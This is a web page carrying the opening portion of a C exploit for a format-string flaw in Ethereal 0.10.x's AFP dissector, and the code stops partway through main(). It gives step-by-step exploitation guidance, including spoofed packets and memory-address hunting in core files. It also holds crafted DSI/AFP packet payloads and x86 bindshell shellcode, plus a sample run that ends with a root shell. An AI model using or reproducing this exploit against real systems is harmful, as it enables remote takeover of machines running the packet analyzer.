?? ethereal 10.x afp protocol dissector remote format string exploit.txt
字號:
/*[ ethereal[v0.10.*]: (AFP) remote format string exploit. ] *********
*
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
*
* compile:
* gcc xethereal-afp-fmt.c -o xethereal-afp-fmt
*
* ethereal homepage/url:
* http://www.ethereal.com
*
* syntax:
* ./xethereal-afp-fmt [-spSrPanc] -h host
*
* vulnerable versions:
* v0.10.0 to v0.10.11 (v0.9.* and below not effected)
*
* fix:
* packet-afp.c:1733:-proto_item_set_text(item, rep);
* packet-afp.c:1733:+proto_item_set_text(item, "%s", rep);
*
* Ethereal is used by network professionals around the world for
* troubleshooting, analysis, software and protocol development,
* and education. It has all of the standard features you would
* expect in a protocol analyzer, and several features not seen in
* any other product. Its open source license allows talented
* experts in the networking community to add enhancements. It runs
* on all popular computing platforms, including Unix, Linux, and
* Windows.
*
* ethereal(v0.10.0 to v0.10.11) contains a remotely exploitable
* format string bug in its AFP dissector code(packet-afp.c).
*
* the vulnerable function is located in packet-afp.c in the
* dissect_reply_afp_get_server_param() function. this function
* uses the get_name() function to pluck a string(the "volume")
* from the packet and proceeds to pass it (improperly) to
* proto_item_set_text() which uses formats.
*
* this exploit uses the DSI/afpovertcp(548) TCP port as a means of
* exploiting this. the port does NOT have to be open to exploit
* this as you can send spoofed packets or connect to a different
* port(explained in the next paragraph) to get the job done.
*
* ethereal may rely on the source port, if no dissector is found
* for the destination port, to decide what dissector to use on a
* packet. this means ANY destination port may be used, granted it
* has no destination port dissector. (ie. port 80 won't work, but
* port 1234 will)
*
* as for exploiting this, it is somewhat special. there is no
* user-supplied data(that i found usable) on the stack to form
* addresses out of, however there are many "real" addresses you
* can use that are already there. this means you can not
* use the half-number($hn) or multiple number($n) writing methods,
* and you must attempt to do it in one number($n) write. people
* say this isn't desired, however it worked fine for me when
* testing this exploit--as if i had a choice.
*
* the exploit string itself is formed as follows(in heap):
* <fmt string><align><addr jump x 16><nops x 64><shellcode>
*
* method 1 of using the exploit string(general situations):
* the format string overwrites a selected address in memory to
* point to the <nops> and then the <shellcode>.
* to find the address(-r option) to use for this method run:
* ./xethereal-afp-fmt -h <host> -r 0x08765432
* then on the box running ethereal, run this on the core file:
* objdump -D -s core|grep "90909090 90909090 90909090 90909090"\
* |head -1|awk '{print $1}'
*
* method 2 of using the exploit string(special situations):
* the format string overwrites a selected address in memory to
* point to the <addr jump> portion of the string, the <addr jump>
* value is simply the [current memory location+64] which jumps to
* the nops and then the shellcode.
* to find the address(-r option) to use for this method run:
* ./xethereal-afp-fmt -h <host> -r 0x080807c8
* then on the box running ethereal, run this on the core file:
* objdump -D -s core|grep "08080808 08080808 08080808 08080808"\
* |head -1|awk '{print $1}'
*
* (for both methods 1 and 2: if the address given is not %4, round
* up to the next %4 address, do not round down. also, try this a
* couple times to see if values are in the same place
* consistantly. if i notice a less volatile/easier to predict
* memory area to use in the future i will modify this exploit
* accordingly)
*
* the pop(-P option) value must be found manually, during testing
* a pop value of 45(method 2) and also 104(method 1) worked for
* me. (these will most likely not work for you)
*
* as for the sending of the DSI/AFP packets, you must send two.
* the first packet sets what the "command" and "id" number are,
* the second is the reply which is where the exploitation occurs.
* (note: the "id" number and source port must match both packets)
*
* i tested the following exploit on mandrake/9.2 using tethereal
* v0.10.10-SVN-14182, finding the pop(-P option) value will almost
* surely be different on each distribution/version(the bug is not
* limited to linux, but this exploit is). if you simply desire to
* see if your version of ethereal is vulnerable use the
* crash(-c option) command-line option.
*
* example result:
* ----------------------------------------------------------------
* # gcc xethereal-afp-fmt.c -o xethereal-afp-fmt
* # ./xethereal-afp-fmt -h dual.fakehalo.lan -r 0x082129f0 -P 45
* [*] ethereal[v0.10.*]: (AFP) remote format string exploit.
* [*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
*
* [*] address : 0x082129f0
* [*] sc address : 0x08212a30 (address+64, for method 2)
* [*] pops : 45
* [*] shell port : 7979
* [*] spoofed : yes
*
* [*] destination : dual.fakehalo.lan:548
* [*] source : <random>:548
* [*] amount : 5
*
* [+] sending(2x packet = .): .....(done)
*
* [*] pause for remote processing... (10 seconds)
* [*] checking to see if the exploit was successful.
* [*] attempting to connect: dual.fakehalo.lan:7979.
* [*] successfully connected: dual.fakehalo.lan:7979.
*
* Linux fhlnxd 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686$
* uid=0(root) gid=0(root) groups=0(root)
* ----------------------------------------------------------------
* (using "-p 104" and "-r 0x08212a30" also worked for me)
*
* note: ethereal needs to be running with tree/verbose(-V option)
* mode. i did not notice a problem with the snaplen(-s option)
* being needed to exploit, if it was it would need to be around
* 300 or more. (ie. "tethereal -V" should be enough)
********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif
/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif
/* will never need to be changed. */
#define DSI_SRC_PORT 548
#define SC_JUMP 64
/* change if desired. */
#define DFL_AMOUNT 5
#define DFL_SHELLPORT 7979
#define TIMEOUT 10
/* aligns post-format string. (possible modification) */
#define ALIGN 8
/* what is sent if the -c option is used. */
#define CRASH_STR "%s%s%s%s%s%s%s%s%n%n%n%n%n%n%n%n"
/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct tcph{
unsigned short source;
unsigned short dest;
unsigned int seq;
unsigned int ack_seq;
#ifdef _USE_BIG_ENDIAN
unsigned short doff:4,res1:4,cwr:1,ece:1,
urg:1,ack:1,psh:1,rst:1,syn:1,fin:1;
#else
unsigned short res1:4,doff:4,fin:1,syn:1,
rst:1,psh:1,ack:1,urg:1,ece:1,cwr:1;
#endif
unsigned short window;
unsigned short check;
unsigned short urg_ptr;
};
struct sumh{
unsigned int saddr;
unsigned int daddr;
unsigned char fill;
unsigned char protocol;
unsigned short len;
};
/* keep packet values for both packets. */
struct sync_packet{
unsigned int daddr;
unsigned int saddr;
unsigned short dest;
};
/* command-line argument table. */
struct{
unsigned int daddr;
unsigned int saddr;
unsigned int addr;
unsigned int pop;
unsigned int amt;
unsigned short port;
unsigned short sport;
unsigned char nospoof;
unsigned char crash;
}tbl;
/* packet 1's purpose is to get the "id" number to show */
/* up in the hash table and store the command(AFP_GETSRVPARAM) */
/* for the reply(packet 2). (set id number) */
static char payload1[]=
/* DSI start. (packet-dsi.c) */
"\xff" /* unknown flag. (2-255, don't use req/resp) */
"\x02" /* command=command. */
"\x00\x00" /* id number, must match packet2. (set later) */
"\x00\x00\x00\x00" /* code=0, can be invalid. */
"\x00\x00\x00\x00" /* length=0, can be invalid. */
"\x00\x00\x00\x00" /* reserved=0, can be invalid. */
/* AFP start. (packet-afp.c) */
"\x10"; /* command=AFP_GETSRVPARAM, for the next packet. */
/* packet 2's purpose is to follow the path to the buggy function, */
/* [DSIFUNC_WRITE->AFP_GETSRVPARAM->rep=get_name(...)-> */
/* proto_item_set_text(...,rep)]. (use same id as packet 1) */
static char payload2[]=
/* DSI start. (packet-dsi.c) */
"\x01" /* reply flag. */
"\x06" /* commad=write. (DSIFUNC_WRITE) */
"\x00\x00" /* id number, must match packet1. (set later) */
"\x00\x00\x00\x00" /* code=0, can be invalid. */
"\x00\x00\xff\xff" /* length=65535, needs to be somewhat valid. */
"\x00\x00\x00\x00" /* reserved=0, can be invalid. */
/* AFP start. (packet-afp.c) */
"\x00\x00\x00\x00" /* server time=0, can be invalid. */
"\x01" /* volumes=1, must be at least 1. */
"\x00" /* flags=0, can be invalid. */
"\x00"; /* len of volume, <255. (no 0xff, set later) */
/* ...format string(getfmt()) is attached here. */
static char x86_exec[]= /* netric bindshell() code. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
/* prototypes. (and sig_alarm) */
void dsi_connect(unsigned int,unsigned short);
void dsi_inject(struct sync_packet,char *,unsigned int);
char *getfmt(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void getshell(unsigned int,unsigned short,char *);
void printe(char *,signed char);
void usage(char *);
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* begin. */
int main(int argc,char **argv) {
signed int chr=0;
char *dstname,*srcname,*tmpdata,*fmtptr;
struct sync_packet sp;
printf("[*] ethereal[v0.10.*]: (AFP) remote format string exploit.\n");
printf("[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
/* set generic values. */
tbl.amt=DFL_AMOUNT;
tbl.sport=DFL_SHELLPORT;
tbl.port=DSI_SRC_PORT;
/* get command-line options. */
while((chr=getopt(argc,argv,"h:s:p:S:r:P:a:nc"))!=EOF){
switch(chr){
case 'h':
if(!(tbl.daddr=getip(optarg)))
printe("invalid destination host/ip.",1);
if(!(dstname=(char *)malloc(strlen(optarg)+1)))
printe("malloc() failed.",1);
strcpy(dstname,optarg);
break;
case 's':
if(!(tbl.saddr=getip(optarg)))
printe("invalid destination host/ip.",1);
if(!(srcname=(char *)malloc(strlen(optarg)+1)))
printe("malloc() failed.",1);
strcpy(srcname,optarg);
break;
case 'p':
tbl.port=atoi(optarg);
break;
case 'S':
tbl.sport=atoi(optarg);
break;
case 'r':
sscanf(optarg,"%x",&tbl.addr);
break;
case 'P':
tbl.pop=atoi(optarg);
break;
case 'a':
tbl.amt=atoi(optarg);
break;
case 'n':
tbl.nospoof=1;
break;
case 'c':
tbl.crash=1;
break;
default:
usage(argv[0]);
break;
}
}
/* initial checks. (3) */
if(!tbl.daddr)
usage(argv[0]);
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -